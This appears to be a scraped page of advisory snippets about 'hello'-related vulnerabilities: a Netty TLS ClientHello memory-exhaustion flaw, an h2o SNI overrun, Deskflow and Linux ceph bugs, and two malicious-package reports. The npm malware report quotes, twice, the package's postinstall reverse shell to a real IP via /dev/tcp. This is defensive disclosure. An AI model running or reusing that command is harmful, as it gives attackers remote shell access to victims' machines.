netty-handler: Netty: Denial of Service due to eager buffer allocation in TLS handshake

A flaw was found in Netty, a network application framework. A remote attacker can exploit this vulnerability by sending a crafted TLS Transport Layer Security ClientHello message. This can lead to an eager allocation of a large memory buffer, causing a Denial of Service DoS due to excessive memor...

netty-handler: Netty: Denial of Service due to eager buffer allocation in TLS handshake

A flaw was found in Netty, a network application framework. A remote attacker can exploit this vulnerability by sending a crafted TLS Transport Layer Security ClientHello message. This can lead to an eager allocation of a large memory buffer, causing a Denial of Service DoS due to excessive memor...

CVE-2026-45416

A flaw was found in Netty, a network application framework. A remote attacker can exploit this vulnerability by sending a crafted TLS Transport Layer Security ClientHello message. This can lead to an eager allocation of a large memory buffer, causing a Denial of Service DoS due to excessive memor...

UBUNTU-CVE-2026-45416

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, SslClientHelloHandler.decode reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates...

CVE-2026-45416

Netty CVE-2026-45416 affects pre-4.1.135.Final and pre-4.2.15.Final versions. In SslClientHelloHandler.decode(), the 24-bit TLS handshake length is read and, if a ClientHello does not fit in the first record, Netty eagerly allocates ctx.alloc().buffer(handshakeLength). If maxClientHelloLength is ...

FreeBSD : h2o -- heap overrun parsing zero-length SNI (fba766f4-ccda-4e1b-8875-ab857c6a6532)

The version of FreeBSD installed on the remote host is prior to tested version. It is, therefore, affected by a vulnerability as referenced in the fba766f4-ccda-4e1b-8875-ab857c6a6532 advisory. h2o project reports: When h2o receives a TLS or QUIC ClientHello containing a zero-length SNI extension...

Malicious code in hello-dynamic (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 168dd7abca8ed812dcfb0119eaf80a2b05b186ee37a1e0c8f98e88f884a90602 Package attempts to test exploitation via legacy dependencylinks configuration --- Category: PROBABLYPENTEST - Packages looking like typical pentest packages,...

GHSA-X4GW-5CX5-PGMH Netty: SNI handler pre-allocates up to 16 MiB from nine attacker bytes

SslClientHelloHandler.decode reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates ctx.alloc.bufferhandshakeLength line 161. The guard at line 140 is handshakeLength maxClientHelloLength && maxClientHelloLength != 0, and the...

Allocation of Resources Without Limits or Throttling

Overview io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which...

h2o -- heap overrun parsing zero-length SNI

h2o project reports: When h2o receives a TLS or QUIC ClientHello containing a zero-length SNI extension, it can overrun the zero-length hostname while copying it. This can trigger a segmentation fault and cause a denial of service...

SUSE CVE-2026-44296

Deskflow is a keyboard and mouse sharing app. Prior to 1.26.0.167, a remote, unauthenticated denial of service DoS vulnerability affects Deskflow servers running with TLS enabled the default. When any TCP peer connects to the listening port and its first bytes do not parse as a valid TLS...

Malicious code in hello-world-pkg-value-value-p (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d768990007f2926e3a58020102d277c3a604c6aa3bc70056cd466bc24437fc89 This package's postinstall hook executes node index.js, which runs execSync'bash -i & /dev/tcp/52.249.218.132/8080 0&1' — an interactive bash reverse...

MAL-2026-3714 Malicious code in hello-world-pkg-value-value-p (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d768990007f2926e3a58020102d277c3a604c6aa3bc70056cd466bc24437fc89 This package's postinstall hook executes node index.js, which runs execSync'bash -i & /dev/tcp/52.249.218.132/8080 0&1' — an interactive bash reverse...

CVE-2026-44296

Deskflow is a keyboard and mouse sharing app. Prior to 1.26.0.167, a remote, unauthenticated denial of service DoS vulnerability affects Deskflow servers running with TLS enabled the default. When any TCP peer connects to the listening port and its first bytes do not parse as a valid TLS...

CVE-2026-44296

Deskflow is a keyboard and mouse sharing app. Prior to 1.26.0.167, a remote, unauthenticated denial of service DoS vulnerability affects Deskflow servers running with TLS enabled the default. When any TCP peer connects to the listening port and its first bytes do not parse as a valid TLS...

PT-2026-40447

Name of the Vulnerable Software and Affected Versions Deskflow versions prior to 1.26.0.167 Description Remote, unauthenticated denial of service DoS affects servers running with TLS enabled. When a TCP peer connects to the listening port and the initial bytes are not a valid TLS ClientHello, the...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in the net/ceph/messengerv2.c file within the Linux kernel before version 6.4.5. There is an integer signedness error, which leads to a buffer overflow and remote code execution via the HELLO command or one of the AUTH frames. This occurs due to an untrusted length value...

CVE-2026-39666

Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability in telepathy Hello Bar Popup Builder hellobar allows DOM-Based XSS.This issue affects Hello Bar Popup Builder: from n/a through = 1.5.1...

SUSE SLED15 / SLES15 Security Update : himmelblau (SUSE-SU-2026:1361-1)

The remote SUSE Linux SLED15 / SLEDSAP15 / SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:1361-1 advisory. Update to version 2.3.9+git0.a9fd29b; jscPED-14511: - CVE-2026-34397: Fix LPE due to name collision during NSS...

CVE-2026-27906

Improper input validation in Windows Hello allows an authorized attacker to bypass a security feature locally...